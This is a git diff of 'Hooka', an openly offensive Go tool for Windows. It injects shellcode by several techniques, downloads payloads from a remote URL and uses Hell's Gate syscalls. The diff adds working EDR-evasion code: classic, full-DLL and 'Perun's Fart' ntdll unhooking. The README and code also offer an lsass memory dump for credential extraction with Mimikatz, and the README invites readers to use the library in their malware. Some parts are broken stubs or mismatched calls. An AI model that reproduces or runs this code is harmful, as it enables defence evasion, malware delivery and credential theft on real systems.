diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..e721fbc --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,5 @@ +- initial commit +- Create FUNDING.yml +- Update README.md +- Update README.md +- Initial commit diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..e69de29 diff --git a/README.md b/README.md index f044cca..c1986b9 100644 --- a/README.md +++ b/README.md @@ -26,7 +26,11 @@ There isn't too much info about detecting Windows hooks in ***Golang*** so I dec - Detects hooked functions (i.e. CreateRemoteThread) - Compatible with base64 and hex encoded shellcode - Hell's Gate technique -- Capable of unhooking functions +- Capable of unhooking functions via multiple techniques: + - Classic unhooking + - Full DLL unhooking + - Perun's Fart technique + - Multiple shellcode injection techniques: - CreateRemoteThread - Fibers @@ -51,12 +55,45 @@ NtdllDialogWndProc_W ZwQuerySystemTime ``` -Just clone the repository like this: +- Just clone the repository like this: ```sh git clone https://github.com/D3Ext/Hooka ``` +> This is the help panel +``` + _ _ _ _ + | | | | ___ ___ | | __ __ _ | | + | |_| | / _ \ / _ \ | |/ / / _` | | | + | _ | | (_) | | (_) | | < | (_| | |_| + |_| |_| \___/ \___/ |_|\_\ \__,_| (_) + by D3Ext - v0.1 + + -b64 + decode base64 encoded shellcode + -dll string + path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz) + -file string + path to file where shellcode is stored + -hells + enable Hell's Gate technique to try to evade possible EDRs + -hex + decode hex encoded shellcode + -hooks + dinamically detect hooked functions by EDR + -lsass string + dump lsass.exe process memory into a file to extract credentials (run as admin) + -t string + shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (default: random) + -test + test shellcode injection capabilities by spawning a calc.exe + -unhook int + overwrite syscall memory address to bypass EDR : 1=classic, 2=full, 3=Perun's Fart + -url string + remote shellcode url (e.g. http://192.168.1.37/shellcode.bin) +``` + > Detect hooked functions by EDR (including false positives) ```sh .\Hooka.exe --hooks @@ -79,6 +116,16 @@ If no technique is especified it will use a random one .\Hooka.exe -t Fibers --file shellcode.bin ``` +> Decode shellcode from hex +```sh +.\Hooka.exe --url http://192.168.116.37/shellcode.bin --hex +``` + +> Decode shellcode from base64 +```sh +.\Hooka.exe --file shellcode.bin --b64 +``` + > Inject shellcode using Hell's Gate ```sh .\Hooka.exe --url http://192.168.116.37/shellcode.bin --hells @@ -86,16 +133,18 @@ If no technique is especified it will use a random one > Unhook function before injecting shellcode ```sh -.\Hooka.exe -t OpenProcess --file shellcode.bin --unhook +.\Hooka.exe -t OpenProcess --file shellcode.bin --unhook 3 ``` +As you can see Hooka provides a lot of CLI flags to help you in all kind of situations + # Demo > Detecting hooks > Injecting shellcode via CreateRemoteThread - + > Test function @@ -111,6 +160,8 @@ If no technique is especified it will use a random one :black_square_button: Better error handling +:black_square_button: Test unhooking functions against some EDR + # Library If you're looking to implement any function in your malware you can do it using the official package API: @@ -161,12 +212,15 @@ import ( func main(){ - // = CreateRemoteThread - proc, err := hooka.FuncFromHash("") // Returns a pointer to function like NewProc() + // 8c2beefa1c516d318252c9b1b45253e0549bb1c4 = CreateRemoteThread + + // Returns a pointer to function like NewProc() + proc, err := hooka.FuncFromHash("8c2beefa1c516d318252c9b1b45253e0549bb1c4") if err != nil { log.Fatal(err) } + // Now use the procedure as loading it from dll proc.Call() ... @@ -201,9 +255,25 @@ func main(){ } ``` -> Unhook a function +> Unhook a function (3 ways) ```go package main + +import ( + "fmt" + "log" + + "github.com/D3Ext/Hooka/pkg/hooka" +) + +func main(){ + err := hooka.ClassicUnhook("NtCreateThread", "C:\\Windows\\System32\\ntdll.dll") + if err != nil { + log.Fatal(err) + } + + fmt.Println("[+] Function should have been unhooked!") +} ``` # Contributing @@ -220,6 +290,8 @@ https://github.com/timwhitez/Doge-Gabh https://github.com/Ne0nd0g/go-shellcode https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions#checking-for-hooks https://github.com/Kara-4search/HookDetection_CSharp +https://github.com/plackyhacker/Peruns-Fart +https://blog.sektor7.net/#!res/2021/perunsfart.md https://teamhydra.blog/2020/09/18/implementing-direct-syscalls-using-hells-gate/ ``` @@ -229,6 +301,10 @@ Creator isn't in charge of any and has no responsibility for any kind of: illega Use this project under your own responsability! +# Changelog + +See [CHANGELOG.md](https://github.com/D3Ext/Hooka/blob/main/CHANGELOG.md) + # License This project is licensed under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license diff --git a/core/auxiliary.go b/core/auxiliary.go index f5bf001..7cf5319 100644 --- a/core/auxiliary.go +++ b/core/auxiliary.go @@ -6,12 +6,15 @@ import ( "fmt" "time" "bytes" + "strings" "net/http" "math/rand" "io/ioutil" "crypto/sha1" "encoding/binary" + "golang.org/x/sys/windows" + // Third-party packages "github.com/Binject/debug/pe" ) @@ -95,7 +98,6 @@ func GetShellcodeFromFile(file string) ([]byte, error) { // Read given file and } // Convert string to Sha1 (used for hashing) - func StrToSha1(str string) (string) { h := sha1.New() h.Write([]byte(str)) @@ -103,4 +105,105 @@ func StrToSha1(str string) (string) { return fmt.Sprintf("%x", bs) } +/* + +This code has been taken from BananaPhone and Doge-Gabh project + +*/ + +type sstring struct { + Length uint16 + MaxLength uint16 + PWstr *uint16 +} + +func (s sstring) String() (string) { + return windows.UTF16PtrToString(s.PWstr) +} + +func inMemLoads(modulename string) (uintptr, uintptr) { + s, si, p := gMLO(0) + start := p + i := 1 + + if (strings.Contains(strings.ToLower(p), strings.ToLower(modulename))) { + return s, si + } + + for { + s, si, p = gMLO(i) + + if p != "" { + if (strings.Contains(strings.ToLower(p), strings.ToLower(modulename))) { + return s, si + } + } + + if (p == start) { + break + } + + i++ + } + + return 0, 0 +} + +func findFirstSyscallOffset(pMem []byte, size int, moduleAddress uintptr) int { + + offset := 0 + pattern1 := []byte{0x0f, 0x05, 0xc3} + pattern2 := []byte{0xcc, 0xcc, 0xcc} + + // find first occurance of syscall+ret instructions + for i := 0; i < size-3; i++ { + instructions := []byte{pMem[i], pMem[i+1], pMem[i+2]} + + if (instructions[0] == pattern1[0]) && (instructions[1] == pattern1[1]) && (instructions[2] == pattern1[2]) { + offset = i + break + } + } + + // find the beginning of the syscall + for i := 3; i < 50; i++ { + instructions := []byte{pMem[offset-i], pMem[offset-i+1], pMem[offset-i+2]} + if (instructions[0] == pattern2[0]) && (instructions[1] == pattern2[1]) && (instructions[2] == pattern2[2]) { + offset = offset - i + 3 + break + } + } + + return offset +} + +func findLastSyscallOffset(pMem []byte, size int, moduleAddress uintptr) int { + + offset := 0 + pattern := []byte{0x0f, 0x05, 0xc3, 0xcd, 0x2e, 0xc3, 0xcc, 0xcc, 0xcc} + + for i := size - 9; i > 0; i-- { + instructions := []byte{pMem[i], pMem[i+1], pMem[i+2], pMem[i+3], pMem[i+4], pMem[i+5], pMem[i+6], pMem[i+7], pMem[i+8]} + + if (instructions[0] == pattern[0]) && (instructions[1] == pattern[1]) && (instructions[2] == pattern[2]) { + offset = i + 6 + break + } + } + + return offset +} + +func gMLO(i int) (start uintptr, size uintptr, modulepath string) { + var badstring *sstring + start, size, badstring = getMLO(i) + modulepath = badstring.String() + return +} + +//getModuleLoadedOrder returns the start address of module located at i in the load order. This might be useful if there is a function you need that isn't in ntdll, or if some rude individual has loaded themselves before ntdll. +func getMLO(i int) (start uintptr, size uintptr, modulepath *sstring) { + return +} + diff --git a/core/exports.go b/core/exports.go new file mode 100644 index 0000000..9cc3439 --- /dev/null +++ b/core/exports.go @@ -0,0 +1,86 @@ +package core + +/* + +This package exports all windows struct which are used + +*/ + +type IMAGE_OPTIONAL_HEADER struct { + Magic uint16 + MajorLinkerVersion uint8 + MinorLinkerVersion uint8 + SizeOfCode uint32 + SizeOfInitializedData uint32 + SizeOfUninitializedData uint32 + AddressOfEntryPoint uint32 + BaseOfCode uint32 + ImageBase uint64 + SectionAlignment uint32 + FileAlignment uint32 + MajorOperatingSystemVersion uint16 + MinorOperatingSystemVersion uint16 + MajorImageVersion uint16 + MinorImageVersion uint16 + MajorSubsystemVersion uint16 + MinorSubsystemVersion uint16 + Win32VersionValue uint32 + SizeOfImage uint32 + SizeOfHeaders uint32 + CheckSum uint32 + Subsystem uint16 + DllCharacteristics uint16 + SizeOfStackReserve uint64 + SizeOfStackCommit uint64 + SizeOfHeapReserve uint64 + SizeOfHeapCommit uint64 + LoaderFlags uint32 + NumberOfRvaAndSizes uint32 + DataDirectory [16]IMAGE_DATA_DIRECTORY +} + +type IMAGE_DATA_DIRECTORY struct { + VirtualAddress uint32 + Size uint32 +} + +type IMAGE_FILE_HEADER struct { + Machine uint16 + NumberOfSections uint16 + TimeDateStamp uint32 + PointerToSymbolTable uint32 + NumberOfSymbols uint32 + SizeOfOptionalHeader uint16 + Characteristics uint16 +} + +type IMAGE_NT_HEADER struct { + Signature uint32 + FileHeader IMAGE_FILE_HEADER + OptionalHeader IMAGE_OPTIONAL_HEADER +} + +type IMAGE_DOS_HEADER struct { // DOS .EXE header + E_magic uint16 // Magic number + E_cblp uint16 // Bytes on last page of file + E_cp uint16 // Pages in file + E_crlc uint16 // Relocations + E_cparhdr uint16 // Size of header in paragraphs + E_minalloc uint16 // Minimum extra paragraphs needed + E_maxalloc uint16 // Maximum extra paragraphs needed + E_ss uint16 // Initial (relative) SS value + E_sp uint16 // Initial SP value + E_csum uint16 // Checksum + E_ip uint16 // Initial IP value + E_cs uint16 // Initial (relative) CS value + E_lfarlc uint16 // File address of relocation table + E_ovno uint16 // Overlay number + E_res [4]uint16 // Reserved words + E_oemid uint16 // OEM identifier (for E_oeminfo) + E_oeminfo uint16 // OEM information; E_oemid specific + E_res2 [10]uint16 // Reserved words + E_lfanew uint16 // File address of new exe header +} + + + diff --git a/core/flags.go b/core/flags.go index 638cdc2..c1a8386 100644 --- a/core/flags.go +++ b/core/flags.go @@ -10,14 +10,14 @@ import ( "flag" ) -func ParseFlags() (string, string, string, string, bool, bool, bool, bool, bool, bool, string) { +func ParseFlags() (string, string, string, string, bool, bool, int, bool, bool, bool, string) { var sc_url string var sc_file string var dll_file string var technique string var hook_detect bool var hells bool - var unhook bool + var unhook int var base64_flag bool var hex_flag bool var test_flag bool @@ -26,10 +26,10 @@ func ParseFlags() (string, string, string, string, bool, bool, bool, bool, bool, flag.StringVar(&sc_url, "url", "", "remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)") flag.StringVar(&sc_file, "file", "", "path to file where shellcode is stored") flag.StringVar(&dll_file, "dll", "", "path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)") - flag.StringVar(&technique, "t", "", "shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (by default: random)") + flag.StringVar(&technique, "t", "", "shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (default: random)") flag.BoolVar(&hook_detect, "hooks", false, "dinamically detect hooked functions by EDR") flag.BoolVar(&hells, "hells", false, "enable Hell's Gate technique to try to evade possible EDRs") - flag.BoolVar(&unhook, "unhook", false, "overwrite syscall memory address to bypass EDR (if no function is hooked it doesn't do nothing)") + flag.IntVar(&unhook, "unhook", 0, "overwrite syscall memory address to bypass EDR : 1=classic, 2=full, 3=Perun's Fart") flag.BoolVar(&base64_flag, "b64", false, "decode base64 encoded shellcode") flag.BoolVar(&hex_flag, "hex", false, "decode hex encoded shellcode") flag.BoolVar(&test_flag, "test", false, "test shellcode injection capabilities by spawning a calc.exe") diff --git a/core/hooks.go b/core/hooks.go index 5c6cc39..d835f28 100644 --- a/core/hooks.go +++ b/core/hooks.go @@ -11,7 +11,7 @@ https://github.com/C-Sto/BananaPhone */ import ( - "fmt" + //"fmt" "errors" "strings" diff --git a/core/injection.go b/core/injection.go index dad29a7..facdbf4 100644 --- a/core/injection.go +++ b/core/injection.go @@ -9,35 +9,36 @@ var techniques = []string{"CreateRemoteThread", "Fibers", "CreateProcess", "Earl func InjectWithTechnique(shellcode []byte, technique string) (error) { // Check especified injection technique + if (strings.ToLower(technique) == "createremotethread") { err := CreateRemoteThread(shellcode) - if err != nil { + if err != nil { // Handle error return err } } else if (strings.ToLower(technique) == "fibers") { err := Fibers(shellcode) - if err != nil { + if err != nil { // Handle error return err } } else if (strings.ToLower(technique) == "createprocess") { err := CreateProcess(shellcode) - if err != nil { + if err != nil { // Handle error return err } } else if (strings.ToLower(technique) == "earlybirdapc") { err := EarlyBirdApc(shellcode) - if err != nil { + if err != nil { // Handle error return err } } else { - rand_n := RandomInt(3, 0) + rand_n := RandomInt(3, 0) // Choose a random technique fmt.Println("[*] Injecting shellcode using " + techniques[rand_n] + " function") err := InjectWithTechnique(shellcode, techniques[rand_n]) - if err != nil { + if err != nil { // Handle error return err } } diff --git a/core/unhook.go b/core/unhook.go index f3e8792..e6b447f 100644 --- a/core/unhook.go +++ b/core/unhook.go @@ -9,14 +9,20 @@ https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-o */ import ( - "fmt" + "time" + "bytes" + "strings" + "errors" "unsafe" "syscall" "golang.org/x/sys/windows" + + "github.com/Binject/debug/pe" ) -func Unhook(funcname string) (error) { +// This function unhooks given function of especified dll (NtCreateThread and C:\\Windows\\System32\\ntdll.dll) +func ClassicUnhook(funcname string, dllpath string) (error) { // Load DLL APIs k32 := syscall.NewLazyDLL("kernel32.dll") @@ -27,7 +33,8 @@ func Unhook(funcname string) (error) { var assembly_bytes []byte - ntdll_lib, _ := syscall.LoadLibrary("C:\\Windows\\System32\\ntdll.dll") + // should be full path: C:\\Windows\\System32\\ntdll.dll + ntdll_lib, _ := syscall.LoadLibrary(dllpath) defer syscall.FreeLibrary(ntdll_lib) procAddr, _ := syscall.GetProcAddress(ntdll_lib, funcname) @@ -41,7 +48,8 @@ func Unhook(funcname string) (error) { ownHandle, _, _ := getCurrentProcess.Call() - ntdll_ptr, _ := windows.UTF16PtrFromString("ntdll.dll") + // Convert dll name to pointer + ntdll_ptr, _ := windows.UTF16PtrFromString(strings.Split(dllpath, "\\")[3]) moduleHandle, _, _ := getModuleHandle.Call(uintptr(unsafe.Pointer(ntdll_ptr))) func_ptr, _ := windows.UTF16PtrFromString(funcname) @@ -53,4 +61,104 @@ func Unhook(funcname string) (error) { return nil } +func FullUnhook(dllpath string) (error) { + return nil +} + +func PerunsUnhook() (error) { + var si syscall.StartupInfo + var pi syscall.ProcessInformation + si.Cb = uint32(unsafe.Sizeof(syscall.StartupInfo{})) + + cmdline, err := syscall.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe") + if err != nil { + return err + } + + err = syscall.CreateProcess( + nil, + cmdline, + nil, + nil, + false, + windows.CREATE_NEW_CONSOLE | windows.CREATE_SUSPENDED, + nil, + nil, + &si, + &pi, + ) + + if err != nil { + return err + } + + time.Sleep(800 * time.Millisecond) + + ntd, _ := inMemLoads(string([]byte{'n', 't', 'd', 'l', 'l'})) + if (ntd == 0) { + return errors.New("an error has ocurred while loading ntdll.dll") + } + addrMod := ntd + + ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(addrMod + uintptr((*IMAGE_DOS_HEADER)(unsafe.Pointer(addrMod)).E_lfanew))) + if (ntHeader == nil) { + return errors.New("an error has ocurred while getting nt header") + } + + time.Sleep(50 * time.Millisecond) + + modSize := ntHeader.OptionalHeader.SizeOfImage + if (modSize == 0) { + return errors.New("an error has ocurred while getting nt header size") + } + + cache := make([]byte, modSize) + var lpNumberOfBytesRead uintptr + + err = windows.ReadProcessMemory( + windows.Handle(uintptr(pi.Process)), + addrMod, + &cache[0], + uintptr(modSize), + &lpNumberOfBytesRead, + ) + + if err != nil { + return err + } + + e := syscall.TerminateProcess(pi.Process, 0) + if e != nil { + return e + } + + time.Sleep(50 * time.Millisecond) + + pe0, err := pe.NewFileFromMemory(bytes.NewReader(cache)) + if err != nil { + return err + } + + secHdr := pe0.Section(string([]byte{'.', 't', 'e', 'x', 't'})) + + startOffset := findFirstSyscallOffset(cache, int(secHdr.VirtualSize), addrMod) + endOffset := findLastSyscallOffset(cache, int(secHdr.VirtualSize), addrMod) + cleanSyscalls := cache[startOffset:endOffset] + + var writenum uintptr + e = windows.WriteProcessMemory( + 0xffffffffffffffff, + addrMod+uintptr(startOffset), + &cleanSyscalls[0], + uintptr(len(cleanSyscalls)), + &writenum, + ) + + if e != nil { + return e + } + + return nil +} + diff --git a/main.go b/main.go index 7e6cc73..1588e9f 100644 --- a/main.go +++ b/main.go @@ -20,39 +20,44 @@ func main() { var err error // Parse CLI flags and retrieve values - sc_url, sc_file, dll_file, technique, hook_detect, _, _, base64_flag, hex_flag, test_flag, lsass := core.ParseFlags() + sc_url, sc_file, dll_file, technique, hook_detect, _, unhook, base64_flag, hex_flag, test_flag, lsass := core.ParseFlags() l.PrintBanner("Hooka!") - l.Println(" by D3Ext - v0.1") + l.Println(" by D3Ext - v0.1") time.Sleep(100 * time.Millisecond) if (sc_url == "") && (sc_file == "") && (dll_file == "") && (!hook_detect) && (!test_flag) { // Enter here if any main flag was especified l.Println() flag.PrintDefaults() - l.Println("\n[-] Parameters missing: provide a shellcode to inject (--file/--url/--dll), detect hooked functions (--hooks) or test program capabilities (--test)") + l.Println("\n[-] Parameters missing: provide a shellcode to inject (--file/--url/--dll), detect hooked functions (--hooks) or test program capabilities (--test)\n") os.Exit(0) } else if (sc_url != "") && (sc_file != "") && (dll_file == "") { // Check if both --url and --file flags were passed l.Println() flag.PrintDefaults() - l.Println("\n[-] Error: you can't use --url and --file at the same time!") + l.Println("\n[-] Error: you can't use --url and --file at the same time!\n") } else if (sc_url != "") && (sc_file == "") && (dll_file != "") { // Check if both --url and --dll flags were passed l.Println() flag.PrintDefaults() - l.Println("\n[-] Error: you can't use --url and --dll at the same time!") + l.Println("\n[-] Error: you can't use --url and --dll at the same time!\n") } else if (sc_url == "") && (sc_file != "") && (dll_file != "") { // Check if both --file and --dll flags were passed l.Println() flag.PrintDefaults() - l.Println("\n[-] Error: you can't use --file and --dll at the same time!") + l.Println("\n[-] Error: you can't use --file and --dll at the same time!\n") } else if (sc_url != "") && (sc_file == "") && (dll_file == "") { if (base64_flag) && (hex_flag) { // Check if both flags were passed l.Println() flag.PrintDefaults() - l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!") + l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!\n") + os.Exit(0) + } + + if (unhook != 1) && (unhook != 2) && (unhook != 3) && (unhook != 0) { + l.Println("\n[-] Unknown unhooking technique! Allowed values: 1, 2, 3\n") os.Exit(0) } @@ -94,6 +99,36 @@ func main() { time.Sleep(300 * time.Millisecond) } + // Unhook function(s) + if (unhook == 1) { + l.Println("[*] Unhooking functions via Classic technique...") + time.Sleep(200 * time.Millisecond) + err := core.ClassicUnhook(technique, "C:\\Windows\\System32\\ntdll.dll") + if err != nil { + l.Println("[-] An error has ocurred while unhooking functions!") + l.Fatal(err) + } + + } else if (unhook == 2) { + l.Println("[*] Unhooking functions via Full Dll technique...") + time.Sleep(200 * time.Millisecond) + err := core.FullUnhook("ntdll.dll") + if err != nil { + l.Println("[-] An error has ocurred while unhooking functions!") + l.Fatal(err) + } + + } else if (unhook == 3) { + l.Println("[*] Unhooking functions via Perun's Fart technique...") + time.Sleep(200 * time.Millisecond) + err := core.PerunsUnhook() + if err != nil { + l.Println("[-] An error has ocurred while unhooking functions!") + l.Fatal(err) + } + + } + if (technique != "") { l.Println("[*] Injecting shellcode using " + technique + " function") } @@ -102,20 +137,20 @@ func main() { if err != nil { // Handle error l.Fatal(err) } - l.Println("[+] Shellcode should have been executed without errors!") + l.Println("[+] Shellcode should have been executed without errors!\n") } else if (sc_file != "") && (sc_url == "") && (dll_file == "") { if (base64_flag) && (hex_flag) { // Check if both flags were passed l.Println() flag.PrintDefaults() - l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!") + l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!\n") os.Exit(0) } _, err := os.Stat(sc_file) // Check if file exists if os.IsNotExist(err) { - l.Println("\n[-] Especified file doesn't exist!") + l.Println("\n[-] Especified file doesn't exist!\n") time.Sleep(100 * time.Millisecond) os.Exit(0) } @@ -158,7 +193,37 @@ func main() { time.Sleep(300 * time.Millisecond) } - if technique != "" { + // Unhook function(s) + if (unhook == 1) { + l.Println("[*] Unhooking functions via Classic technique...") + time.Sleep(200 * time.Millisecond) + err := core.ClassicUnhook(technique, "C:\\Windows\\System32\\ntdll.dll") + if err != nil { // Handle error + l.Println("[-] An error has ocurred while unhooking functions!") + l.Fatal(err) + } + + } else if (unhook == 2) { + l.Println("[*] Unhooking functions via Full Dll technique...") + time.Sleep(200 * time.Millisecond) + err := core.FullUnhook("ntdll.dll") + if err != nil { // Handle error + l.Println("[-] An error has ocurred while unhooking functions!") + l.Fatal(err) + } + + } else if (unhook == 3) { + l.Println("[*] Unhooking functions via Perun's Fart technique...") + time.Sleep(200 * time.Millisecond) + err := core.PerunsUnhook() + if err != nil { // Handle error + l.Println("[-] An error has ocurred while unhooking functions!") + l.Fatal(err) + } + + } + + if (technique != "") { l.Println("[*] Injecting shellcode using " + technique + " technique") } @@ -166,7 +231,7 @@ func main() { if err != nil { // Handle error l.Fatal(err) } - l.Println("[+] Shellcode should have been executed without errors!") + l.Println("[+] Shellcode should have been executed without errors!\n") } else if (sc_url == "") && (sc_file == "") && (dll_file != "") { @@ -175,7 +240,7 @@ func main() { _, err := os.Stat(dll_filename) // Check if especified dll exists if os.IsNotExist(err) { - l.Println("\n[-] Especified DLL doesn't exists!") + l.Println("\n[-] Especified DLL doesn't exists!\n") time.Sleep(100 * time.Millisecond) os.Exit(0) } @@ -203,28 +268,30 @@ func main() { if err != nil { // Handle error l.Fatal(err) } - l.Println("[+] Shellcode should have been executed without errors") + l.Println("[+] Shellcode should have been executed without errors!\n") } else if (sc_url == "") && (sc_file == "") && (dll_file == "") && (hook_detect) { // Enter here if --hooks flag was especified l.Println("\n[*] Detecting hooked functions...") all_hooks, err := core.DetectHooks() // Get all hooked functions - if err != nil { + if err != nil { // Handle error l.Fatal(err) } l.Println("[+] Process finished") if len(all_hooks) >= 1 { // Check if hooks array contains at least one function - l.Println("[*] Hooked functions:") + time.Sleep(200 * time.Millisecond) + l.Println("[*] Hooked functions:\n") for _, h := range all_hooks { l.Println(h) } + l.Println() time.Sleep(200 * time.Millisecond) } else { time.Sleep(200 * time.Millisecond) - l.Println("[+] No function is hooked!") + l.Println("[+] No function is hooked!\n") time.Sleep(100 * time.Millisecond) } @@ -237,18 +304,18 @@ func main() { if err != nil { // Handle error l.Fatal(err) } - l.Println("[+] Shellcode should have been executed!") + l.Println("[+] Shellcode should have been executed!\n") } else if (lsass != "") { // Enter here if --lsass flag was especified l.Println("[*] Dumping lsass process to " + lsass) err := core.DumpLsass(lsass) - if err != nil { + if err != nil { // Handle error l.Println("[-] An error has ocurred, ensure to be running as admin:") l.Fatal(err) } - l.Println("[+] Process finished! Now use Mimikatz in your machine to extract credentials") + l.Println("[+] Process finished! Now use Mimikatz in your machine to extract credentials\n") time.Sleep(100 * time.Millisecond) } } diff --git a/pkg/hooka/hells.go b/pkg/hooka/hells.go new file mode 100644 index 0000000..4b1df8b --- /dev/null +++ b/pkg/hooka/hells.go @@ -0,0 +1,8 @@ +package hooka + +import "github.com/D3Ext/Hooka/core" + +func HellsGate(funcname string) (error) { + return core.HellsGate(funcname) +} + diff --git a/pkg/hooka/unhook.go b/pkg/hooka/unhook.go index df76728..aa46084 100644 --- a/pkg/hooka/unhook.go +++ b/pkg/hooka/unhook.go @@ -2,7 +2,16 @@ package hooka import "github.com/D3Ext/Hooka/core" -func Unhook(funcname string) (error) { - return core.Unhook(funcname) +func ClassicUnhook(funcname string, dllpath string) (error) { + return core.Unhook(funcname, dllpath) } +func FullUnhook(funcname string) (error) { + return core.FullUnhook(funcname) +} + +func PerunsUnhook() (error) { + return core.PerunsUnhook() +} + +